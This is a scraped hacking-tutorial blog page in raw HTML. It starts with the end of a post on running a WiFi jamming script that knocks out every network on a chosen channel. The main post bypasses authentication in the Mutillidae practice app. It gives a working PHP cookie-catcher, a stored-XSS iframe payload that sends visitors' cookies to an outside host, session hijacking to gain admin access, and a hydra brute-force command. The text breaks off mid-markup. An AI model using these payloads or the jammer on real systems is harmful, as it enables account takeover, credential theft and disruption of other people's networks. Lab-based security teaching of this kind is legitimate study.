vertical-align: baseline;"></span></span></span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Code:</span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">chmod +x wifijammer_0.1.sh</span></div> <br style="outline: none medium;" /><div align="LEFT" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px 0px 0in; outline: none medium; padding: 0px; vertical-align: baseline;"> <span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Now you write:</span></span></span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></span></span></span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Code:</span></div> <div align="LEFT" style="border: none; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0.04in 0px; outline: none medium; padding: 0in; vertical-align: baseline;"> <span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">sudo ./wifijammer_0.1.sh wlan0</span><br style="outline: none medium;" /><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" /></span><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18.233333587646484px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">When that's done, you type in "scan" when it asks you to.</span><br style="outline: none medium;" /><br style="font-family: 'Bitstream Charter', serif; font-size: large; line-height: 18.233333587646484px; outline: none medium;" /><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18.233333587646484px; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Step 9: You will see a lot of text when it scans. It will look like this:</span></div> <br style="outline: none medium;" /><div align="LEFT" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 0.19in; margin: 0px 0px 0in; outline: none medium; padding: 0px; vertical-align: baseline;"> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> </div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTc763mYUTLc3IzDh9o7h_PgwMQsleAt4uJ28vfVcjWYbHqR537-yIfuILl0jdN9t6kgWh2XyxvL1CZJ9X954_ElrXGi8P-kOj4LDkbmldFbSe7sP_vhUdpMbe0Hm6W-VEog41vyFs6vwu/s1600/wifi-jammer.jpg" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="wifi-jammer" border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTc763mYUTLc3IzDh9o7h_PgwMQsleAt4uJ28vfVcjWYbHqR537-yIfuILl0jdN9t6kgWh2XyxvL1CZJ9X954_ElrXGi8P-kOj4LDkbmldFbSe7sP_vhUdpMbe0Hm6W-VEog41vyFs6vwu/s400/wifi-jammer.jpg" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="wifi-jammer" width="400" /></a></div> <span style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: 'Bitstream Charter', serif; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><span style="border: 0px; font-family: inherit; font-size: small; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br style="outline: none medium;" />You can see it says "CH" in the window. That means channel. On the picture, the ESSID is the WiFi's name. As you can see, the network with ESSID "openn" is on channel 9.<br style="outline: none medium;" /><br style="outline: none medium;" />Wait for the scan to complete, and then (in this example) type in "9" for channel 9.<br style="outline: none medium;" /><br style="outline: none medium;" />It will now jam all connections on channel 9, so that the WiFi "openn" will be unavailable. On the picture there's also a network with ESSID "Playh" on channel 9.. That one will also be unavailable.<br style="outline: none medium;" /><br style="outline: none medium;" />In some cases, it might jam so hard, that laptops/WiFi searchers won't be able to scan for any WiFi signals at all.</span></span></span></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div>

HOW TO JAM WIFI NETWORK IN UBUNTU & BACK TRACK?

If you have UBUNTU or BACK TRACK installed ,then you can start from step 7 directly you can skip first six st...

Read more »

BROKEN AUTHENTICATION & SESSION MANAGEMENT IN MUTILLIDAE

<div dir="ltr" style="text-align: left;" trbidi="on"> <h1 class="post-title entry-title" style="background-color: white; border: 0px; color: #454545; font-family: Oswald, arial, serif; font-size: 30px; font-weight: 400; line-height: 1.2; margin: 0px; outline: none medium; padding: 0px 0px 5px; text-transform: uppercase; vertical-align: baseline;"> <br /></h1> <br /><span style="background-color: white; font-family: 'Maven Pro', Arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px;"></span><br /> <div class="post-body entry-content" style="background-color: white; border: 0px; font-family: 'Maven Pro', Arial, sans-serif; font-size: 14px; line-height: 22.399999618530273px; margin: 0px 0px 0.75em; outline: none medium; overflow: hidden; padding: 5px 0px 0px; vertical-align: baseline;"> <div style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 10px 0px; vertical-align: baseline;"> <div style="border: 0px; float: right; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline; width: 250px;"> <ul class="cbtsharethis" style="border: 0px; float: left; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: none outside none; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <li class="stumble" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></li> <li class="delicious" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> <li class="digg" style="background: none 0px 0px repeat scroll transparent; border: 0px; font-family: inherit; font-size: 16px; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 5px 0px 0px; outline: none medium; padding: 0px; vertical-align: baseline;"><br /></li> </ul> </div> </div> <div dir="ltr" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;" trbidi="on"> Broken Authentication and Session Management is on number 2 in OWASP Top 10 vulnerability list 2013. In mutillidae , it contain three subsection.<br style="outline: none medium;" /><br style="outline: none medium;" /><ul style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: none outside none; margin: 10px 0px 10px 20px; outline: none medium; padding: 0px; vertical-align: baseline;"> <li style="background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9jY0auceyiNDg68-jq7fJMEGhhEELxGtbKF6KPgSYnguAleEY3HD0J4GdLSdfUKUhYOaVAromAOj1KnHQOhUIlVYkOewkhI8WBeKcHhettx7ewUCcdIshYQ0CbiopVgxkRWO7s4D-UGw/s24/w2b_bloggerbullet.png) 0% 50% no-repeat scroll transparent; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;">Authentication Bypass</li> <li style="background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9jY0auceyiNDg68-jq7fJMEGhhEELxGtbKF6KPgSYnguAleEY3HD0J4GdLSdfUKUhYOaVAromAOj1KnHQOhUIlVYkOewkhI8WBeKcHhettx7ewUCcdIshYQ0CbiopVgxkRWO7s4D-UGw/s24/w2b_bloggerbullet.png) 0% 50% no-repeat scroll transparent; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;">Privilege Escalation</li> <li style="background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiL9jY0auceyiNDg68-jq7fJMEGhhEELxGtbKF6KPgSYnguAleEY3HD0J4GdLSdfUKUhYOaVAromAOj1KnHQOhUIlVYkOewkhI8WBeKcHhettx7ewUCcdIshYQ0CbiopVgxkRWO7s4D-UGw/s24/w2b_bloggerbullet.png) 0% 50% no-repeat scroll transparent; border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 22px; list-style: none outside none; margin: 7px 0px; outline: none medium; padding: 0px 0px 0px 30px; vertical-align: baseline;">Username Enumeration</li> </ul> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />We have already covered <a href="http://tipstrickshack.blogspot.com/2013/11/username-enumeration-in-mutillidae.html" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">Username enumeration</a> in last article & we got valid username list which exist in database. Today we are going to use authentication bypass method.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <ol style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; list-style: none; margin: 10px 0px 10px 30px; outline: none medium; padding: 0px 0px 0px 10px; vertical-align: baseline;"> <li style="border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18px; list-style: decimal outside none; margin: 7px 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Using cookie</li> <li style="border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18px; list-style: decimal outside none; margin: 7px 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Using brute-force</li> <li style="border: 0px; font-family: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: 18px; list-style: decimal outside none; margin: 7px 0px; outline: none medium; padding: 0px; vertical-align: baseline;">Using SQL injection</li> </ol> <h3 style="-webkit-box-shadow: rgb(170, 170, 170) 1px 1px 2px; background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; border-bottom-style: solid; border-top-left-radius: 0px; border-top-right-radius: 0px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; color: #333333; font-family: 'Yanone Kaffeesatz', arial, serif; font-size: 20px; font-style: inherit; font-variant: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"> (1)Authentication Bypass Using Cookie:- </h3> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> As we know that , mutillidae is vulnerable to <a href="http://tipstrickshack.blogspot.com/2012/10/how-to-do-xss-attack-on-website.html" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">XSS</a>, so we can capture cookie with help of XSS. We are going to take advantage of persistent XSS.<br style="outline: none medium;" /><br style="outline: none medium;" />http://127.0.0.1/mutillidae/index.php?page=add-to-your-blog.php<br style="outline: none medium;" /><br style="outline: none medium;" />Above link is vulnerable to persistent XSS attack. We can submit html to add blog section.so we are going to use cookie-catcher.<br style="outline: none medium;" /><br style="outline: none medium;" />Content of cookie_catcher.php :-<br style="outline: none medium;" /><br style="outline: none medium;" /><?php<br style="outline: none medium;" />header ("Location: http://192.168.56.1");<br style="outline: none medium;" />$cookie = $_GET['c'];<br style="outline: none medium;" />$ip = getenv ('REMOTE_ADDR');<br style="outline: none medium;" />$date=date("j F, Y, g:i a");;<br style="outline: none medium;" />$referer=getenv ('HTTP_REFERER');<br style="outline: none medium;" />$fp = fopen('cookies.html', 'a');<br style="outline: none medium;" />fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');<br style="outline: none medium;" />fclose($fp);<br style="outline: none medium;" />?><br style="outline: none medium;" /><br style="outline: none medium;" />Upload your cookie_catcher.php to server. For demo i used my local apache server & after execution of script it will redirect to 192.168.56.1.You can change the code according to your need. It will grab IP, cookie, Referer, time & date.</div> <a href="https://www.blogger.com/null" name="more" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"></a><br style="outline: none medium;" />Now as anonymous user , we will add blog entry.I used other OS on my virtual box for attack.<br style="outline: none medium;" /><br style="outline: none medium;" />(1)Open http://192.168.56.1/mutillidae/index.php?page=add-to-your-blog.php<br style="outline: none medium;" /><br style="outline: none medium;" />(2)Submit following html to blog<br style="outline: none medium;" /><div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <html><br style="outline: none medium;" /><body><br style="outline: none medium;" /><b> nirav k desai</b><br style="outline: none medium;" /><u>help me</u><br style="outline: none medium;" /><iframe frameboarder=0 height=0 width=0 src=javascript:void(document.location="http://192.168.56.1/cookie_catcher.php?c="+document.cookie) </iframe ><br style="outline: none medium;" /></body><br style="outline: none medium;" /></html></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2-FiEu-uziNDhsPO7U50gem5WyVL4PtyyskNeL6OcUhSD4xcjhUiUExTzb_U57q54_nLIZ0Sj57jvEwj6BwTTNVbC2sRV32TaEW5bLP4dso-AzFwv_YrYieFhRVKNnBx6cQ7er3ypC3ci/s1600/attacker.png" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="authentication-bypass-using-cokkie" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2-FiEu-uziNDhsPO7U50gem5WyVL4PtyyskNeL6OcUhSD4xcjhUiUExTzb_U57q54_nLIZ0Sj57jvEwj6BwTTNVbC2sRV32TaEW5bLP4dso-AzFwv_YrYieFhRVKNnBx6cQ7er3ypC3ci/s320/attacker.png" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="authentication-bypass-using-cokkie" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> </div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> Replace Link http://192.168.56.1/cookie_catcher.php to your uploaded cookie_catcher.php<br style="outline: none medium;" /><br style="outline: none medium;" />(3)Now when "admin" or any "logged user" show your added blog entry , you will get his cookie, i.p., date & time.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilJgNEhpS28nmcOPI8pBuc4IaTcKRw-sOcpiCV7FthFhyPE49LM0QX6GzxGw-7Bs0xf1-et0LMCFJxdAT6iGelA0nX4S4sZq6-D05Ap1n-TOJVxfCm1SRwgksIIehmw2MPnX_XlX9-1x9e/s1600/admin.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="persistent-xss" border="0" height="129" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilJgNEhpS28nmcOPI8pBuc4IaTcKRw-sOcpiCV7FthFhyPE49LM0QX6GzxGw-7Bs0xf1-et0LMCFJxdAT6iGelA0nX4S4sZq6-D05Ap1n-TOJVxfCm1SRwgksIIehmw2MPnX_XlX9-1x9e/s320/admin.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="persistent-xss" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> (4)To view cookie open cookie.html.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinseOdO1qwfunHkK6YNa8b5fJZgrqh-eaGpSwKLGg2uOfMOEy1VH6JE5gyDBtBHPYpBX9Hf-Yea4D6w2y3uTtoDqdDLTD2LfqRBA9uS2J-YsKwjUGH5TPEeA_jPrlEABl8vUpy8Q-KLQxn/s1600/cookie.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="cookie-catcher" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinseOdO1qwfunHkK6YNa8b5fJZgrqh-eaGpSwKLGg2uOfMOEy1VH6JE5gyDBtBHPYpBX9Hf-Yea4D6w2y3uTtoDqdDLTD2LfqRBA9uS2J-YsKwjUGH5TPEeA_jPrlEABl8vUpy8Q-KLQxn/s320/cookie.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="cookie-catcher" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;">  </div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> (5)Now you can use any cookie manager add-on to edit cookie; replace cookie which we got.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpNTzHrL1sLHKGqQrPIA-RVI-_Moh6mSs3uRt0k6vz5vp3kQOmBNvDG7Sp3d4Fgvuo9JWuL8vOepuzBoOa9QXcXIavuFOBqR1X4wCeZAC94-ch92nK9gEQJVHW6H9JitLajfFrKNMToxNP/s1600/cookie-manager.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="cookie-manager" border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpNTzHrL1sLHKGqQrPIA-RVI-_Moh6mSs3uRt0k6vz5vp3kQOmBNvDG7Sp3d4Fgvuo9JWuL8vOepuzBoOa9QXcXIavuFOBqR1X4wCeZAC94-ch92nK9gEQJVHW6H9JitLajfFrKNMToxNP/s320/cookie-manager.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="edit-cookie" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" />(6)After reload we got admin access to web-application.</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> <br style="outline: none medium;" /></div> <div class="separator" style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjTDqsjwU9UKzdHNi-81sLB4sVNZYzaG69I24sq8KZ1l4Ubbdi7ZbqbRlwkyLwKQDvuXZQb-4AzP9lHGngeoB1td5dqYOliMpmlKmO7xszg0ytkfYM1IfYWFBvKX2zmsR28Li-ms2LbZ7P/s1600/admin_access.PNG" imageanchor="1" style="border: 0px; color: #2a7295; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px 1em; outline: none medium; padding: 0px; text-decoration: none; vertical-align: baseline;"><img alt="admin-access" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjTDqsjwU9UKzdHNi-81sLB4sVNZYzaG69I24sq8KZ1l4Ubbdi7ZbqbRlwkyLwKQDvuXZQb-4AzP9lHGngeoB1td5dqYOliMpmlKmO7xszg0ytkfYM1IfYWFBvKX2zmsR28Li-ms2LbZ7P/s320/admin_access.PNG" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; height: auto; line-height: inherit; margin: 0px; max-width: 100%; outline: none medium; padding: 1px; vertical-align: baseline; width: auto;" title="admin-access" width="320" /></a></div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> </div> <h3 style="-webkit-box-shadow: rgb(170, 170, 170) 1px 1px 2px; background: rgb(251, 251, 239); border-bottom-color: rgb(1, 223, 1); border-bottom-left-radius: 6px; border-bottom-right-radius: 6px; border-bottom-style: solid; border-top-left-radius: 0px; border-top-right-radius: 0px; border-width: 0px 0px 4px; box-shadow: rgb(170, 170, 170) 1px 1px 2px; color: #333333; font-family: 'Yanone Kaffeesatz', arial, serif; font-size: 20px; font-style: inherit; font-variant: inherit; font-weight: 400; line-height: 1; margin: 6px 3px; outline: none medium; padding: 4px 10px; text-shadow: rgb(170, 170, 170) 1px 1px 1px; text-transform: capitalize; vertical-align: baseline; width: 598.5px;"> (2)Authentication Bypass Using Bruteforce:- </h3> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; margin: 0px; outline: none medium; padding: 0px; vertical-align: baseline;"> You can use hydra or burpe intruder to bruteforce login form of application.<br style="outline: none medium;" /><br style="outline: none medium;" />hydra -l admin -P /root/pass.txt  127.0.0.1 http-post-form "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"</div> <div style="border: 0px; font-family: inherit; font-size: inherit; font-style: 